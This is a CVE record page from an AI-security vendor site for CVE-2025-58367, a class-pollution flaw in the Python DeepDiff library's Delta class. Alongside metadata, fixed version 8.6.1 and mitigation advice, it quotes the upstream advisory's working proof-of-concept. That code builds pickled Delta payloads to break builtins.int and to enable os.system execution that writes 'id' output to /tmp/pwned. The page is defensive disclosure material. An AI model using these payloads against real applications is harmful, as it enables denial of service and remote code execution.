HOL LogoGuard

Explore HOL

  • HOL home
  • AI agent registry
  • AI plugins
  • Open standards
  • HOL members
  • Sponsor HOL
  • Advertise with HOL

Guard product

  • Guard overviewLocal security and control for AI agents and the tools they use.
  • FeaturesRuntime protection, policy routing, review, and evidence.

Explore Guard

  • Product previewWalk through Guard surfaces in read-only demo mode.
  • ComparisonCompare Guard with native controls and AI security vendors.

AI tools

  • All AI toolsEvery supported AI tool and how Guard applies policy to it.
  • Codex
  • Claude Code
  • Cursor
  • Antigravity CLI
  • OpenCode
  • Hermes
  • OpenClaw
  • GitHub Copilot CLI
  • Antigravity
  • Kimi
  • Grok
  • Pi / Oh My Pi
  • Zcode

Extensions

  • All extensionsBrowse command and MCP coverage with owners and stated limits.
  • Command coverageShell command protection across clouds, databases, backups, and packages.
  • MCP server coverageSee how Guard maps risk state across MCP tools and servers.
  • Core safetyThe safety floor listings that ship with Guard.
  • Data and resilienceBackup and storage command protection.
  • Cloud and infrastructureAWS, Azure, GCP, Kubernetes, and more.

Security

  • AI security hubSecurity research, advisories, and agent safety coverage.
  • AI tool securitySecurity profiles for each supported coding agent.
  • Safe labsHands-on attack simulations with safe boundaries.
  • Redacted warningsReal blocked actions with sensitive details removed.
  • AdvisoriesCoordinated disclosure reports for AI tooling.
  • Active CVEsSearch active CVEs affecting AI tooling.

Learn

  • Security guidesPractical guides for securing AI agent workflows.
  • DocsInstall, configure, and operate Guard with confidence.
  • ResearchPublished security research, benchmarks, and methodology.

Community

  • ReleasesVersion history, shipped changes and upgrade notes.
  • ContributorsThe people and contributions behind HOL Guard.
  • AffiliatesShare Guard with your audience and earn from referrals.
  • SponsorFund agreed research, implementation and shared testing through the HOL Partner Program.
  • AdvertiseCompare README logo placements, previews and monthly prices, or promote a plugin or extension.
PricingEnterpriseOpen AppInstall Guard
  1. Guard
  2. Security
  3. CVEs
  4. CVE 2025 58367 deepdiff class pollution in delta class leading
HOL Guard

Public security guidance for teams protecting AI harnesses, MCP servers, skills, prompts, and local tool execution.

Install Guard

AI Security

  • Prompt injection
  • MCP security
  • OWASP MCP mapping
  • Supply chain

Resources

  • Trust packet
  • Harness setup
  • Redacted warnings
  • Safe labs

Product

  • Install Guard
  • Pricing
  • Open dashboard
Guard
  • Guard Overview
  • Releases
  • Contributors
  • Install Guard
  • Pricing
Docs
  • Documentation Index
  • Developer Hub
  • API Reference
  • Root OpenAPI
  • Registry OpenAPI
  • Run in Postman
  • Standards
  • Submit ERC-8004 Contract
  • Feature Your Agent
Best Plugins
  • Browse Plugins
  • Plugin Launches
  • Best Claude Plugins
  • Best Codex Plugins
  • Best Grok Plugins
  • Best Kimi Plugins
  • Best DeepSeek Plugins
  • Best Antigravity Plugins
  • Best MCP Servers
  • Best Cursor Plugins
  • Best OpenCode Plugins
Best Agents
  • Best ERC-8004 Agents
  • Best Virtuals Agents
  • Best MCP Servers
  • Best A2A Agents
  • Best x402 Payable
  • All Categories
Community
  • Telegram
  • X
More
  • About HOL
  • Sponsor
  • Advertise
  • Contact
  • Blog
  • GitHub
  • Privacy
  • Terms of Service
Settings

Copyright ยฉ 2026 HOL DAO LLC. All rights reserved.

Back to active CVEs
Critical ยท CVSS 0.0CVE-2025-58367GHSA-MW26-5G2V-HQW3

DeepDiff Class Pollution in Delta class leading to DoS, Remote Code Execution, and moreCVE-2025-58367

Answer in brief

CVE-2025-58367 records a Critical severity (CVSS 0.0) vulnerability in DeepDiff Class Pollution in Delta class leading to DoS, Remote Code Execution, and more. The current sources do not mark it as known exploited. The current feed maps deepdiff (pip), deepdiff (pypi). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Sep 3, 2025Updated Oct 27, 2026Source checked Oct 27, 2026First seen by HOL Oct 27, 2026Material review Oct 27, 2026
Upstream Advisory

Key facts

Risk
Critical ยท CVSS 0.0
Exploitation
Not marked as known exploited
Affected software
2 mapped packages or products
Fix availability
Available

Why this deserves its current priority

CVSS is 0.0. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps deepdiff (pip), deepdiff (pypi). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
PackageAffected rangeFixed version
deepdiffpip>=5.0.0,<8.6.18.6.1
deepdiffpypi>=5.0.0 <8.6.18.6.1

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for deepdiff, deepdiff.
  2. 2Review the reported fix. Update deepdiff to 8.6.1; deepdiff to 8.6.1 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Sep 3, 2025

    Evidence: source:ghsa:source_dates:source-dates:record
  2. Source modified

    Oct 27, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  3. First seen by HOL

    Oct 27, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • NVD vulnerability recordnvd.nist.gov
  • Source referencepypi.org
  • GitHub security advisorygithub.com
Upstream source description

### Summary [Python class pollution](https://blog.abdulrah33m.com/prototype-pollution-in-python/) is a novel vulnerability categorized under [CWE-915](https://cwe.mitre.org/data/definitions/915.html). The `Delta` class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure [Pickle](https://docs.python.org/3/library/pickle.html) deserialization). The gadget available in DeepDiff allows `deepdiff.serialization.SAFE_TO_IMPORT` to be modified to allow dangerous classes such as `posix.system`, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to `Delta` is user-controlled. Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution. ### Details The `Delta` class can take different object types as a parameter in its constructor, such as a `DeltaDiff` object, a dictionary, or even just bytes (that are deserialized via Pickle). When it takes a dictionary, it is usually in the following format: ```py Delta({"dictionary_item_added": {"root.myattr['foo']": "bar"}}) ``` Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23 However, this code only runs when parsing the path from a string. The `_path_to_elements` function helpfully returns the given input if it is already a list/tuple: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53 This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter: ```py Delta( { "dictionary_item_added": { ( ("root", "GETATTR"), ("__init__", "GETATTR"), ("__globals__", "GETATTR"), ("PWNED", "GET"), ): 1337 } }, ) ``` Going back to the possible inputs of `Delta`, when it takes a `bytes` as input, it uses pickle to deserialize them. Care was taken by DeepDiff to prevent arbitrary code execution via the `SAFE_TO_IMPORT` allow list. https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98 However, using the class pollution in the `Delta`, an attacker can add new entries to this `set`. This then allows a second call to `Delta` to [unpickle an insecure class](https://davidhamann.de/2020/04/05/exploiting-python-pickle/) that runs `os.system`, for example. #### Using dict Usually, class pollution [does not work](https://gist.github.com/CalumHutton/45d33e9ea55bf4953b3b31c84703dfca#technical-details) when traversal starts at a `dict`/`list`/`tuple`, because it is not possible to reach `__globals__` from there. However, using two calls to `Delta` (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type `deepdiff.helper.Opcode`, which then allows traversal to `__globals__`, and notably `sys.modules`, which in turn allows traversal to any module already loaded by Python. Passing `Opcode` around can be done via pickle, which `Delta` will happily accept given it is in the default allow list. ### Proof of Concept With deepdiff 8.6.0 installed, run the following scripts for each proof of concept. All input to `Delta` is assumed to be user-controlled. #### Denial of Service This script will pollute the value of `builtins.int`, preventing the class from being used and making code crash whenever invoked. ```py # ------------[ Setup ]------------ import pickle from deepdiff.helper import Opcode pollute_int = pickle.dumps( { "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}}, "dictionary_item_added": { ( ("root", "GETATTR"), ("tmp", "GET"), ("__repr__", "GETATTR"), ("__globals__", "GETATTR"), ("__builtins__", "GET"), ("int", "GET"), ): "no longer a class" }, } ) assert isinstance(pollute_int, bytes) # ------------[ Exploit ]------------ # This could be some example, vulnerable, application. # The inputs above could be sent via HTTP, for example. from deepdiff import Delta # Existing dictionary; it is assumed that it contains # at least one entry, otherwise a different Delta needs to be # applied first, adding an entry to the dictionary. mydict = {"tmp": "foobar"} # Before pollution print(int("41") + 1) # Apply Delta to mydict result = mydict + Delta(pollute_int) print(int("1337")) ``` ```shell $ python poc_dos.py 42 Traceback (most recent call last): File "/tmp/poc_dos.py", line 43, in <module> print(int("1337")) TypeError: 'str' object is not callable ``` #### Remote Code Execution This script will create a file at `/tmp/pwned` with the output of `id`. ```py # ------------[ Setup ]------------ import os import pickle from deepdiff.helper import Opcode pollute_safe_to_import = pickle.dumps( { "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}}, "set_item_added": { ( ("root", "GETATTR"), ("tmp", "GET"), ("__repr__", "GETATTR"), ("__globals__", "GETATTR"), ("sys", "GET"), ("modules", "GETATTR"), ("deepdiff.serialization", "GET"), ("SAFE_TO_IMPORT", "GETATTR"), ): set(["posix.system"]) }, } ) # From https://davidhamann.de/2020/04/05/exploiting-python-pickle/ class RCE: def __reduce__(self): cmd = "id > /tmp/pwned" return os.system, (cmd,) # Wrap object with dictionary so that Delta does not crash rce_pickle = pickle.dumps({"_": RCE()}) assert isinstance(pollute_safe_to_import, bytes) assert isinstance(rce_pickle, bytes) # ------------[ Exploit ]------------ # This could be some example, vulnerable, application. # The inputs above could be sent via HTTP, for example. from deepdiff import Delta # Existing dictionary; it is assumed that it contains # at least one entry, otherwise a different Delta needs to be # applied first, adding an entry to the dictionary. mydict = {"tmp": "foobar"} # Apply Delta to mydict result = mydict + Delta(pollute_safe_to_import) Delta(rce_pickle) # no need to apply this Delta ``` ```shell $ python poc_rce.py $ cat /tmp/pwned uid=1000(dtc) gid=100(users) groups=100(users),1(wheel) ``` ### Who is affected? Only applications that pass (untrusted) user input directly into `Delta` are affected. While input in the form of `bytes` is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding `app.secret_key` of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass. ### Mitigations A straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser. This would have to be implemented in both `deepdiff.path._get_nested_obj` and `deepdiff.path._get_nested_obj_and_force`, and possibly in `deepdiff.delta.Delta._get_elements_and_details`. Example code that raises an error when traversing these properties: ```py if elem.startswith("__") and elem.endswith("__"): raise ValueError("traversing dunder attributes is not allowed") ``` However, if it is desirable to still support attributes starting and ending with `__`, but still protect against this vulnerability, it is possible to only forbid `__globals__` and `__builtins__`, which stops the most serious cases of class pollution (but not all). This was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180

Quoted source text, attributed separately from HOL analysis.

Record context

Vulnerability class
RCE
EPSS
Not reported
CWE IDs
CWE-915
Source
GitHub Security Advisories
Source checked
Oct 27, 2026
References
10 linked sources
Open source record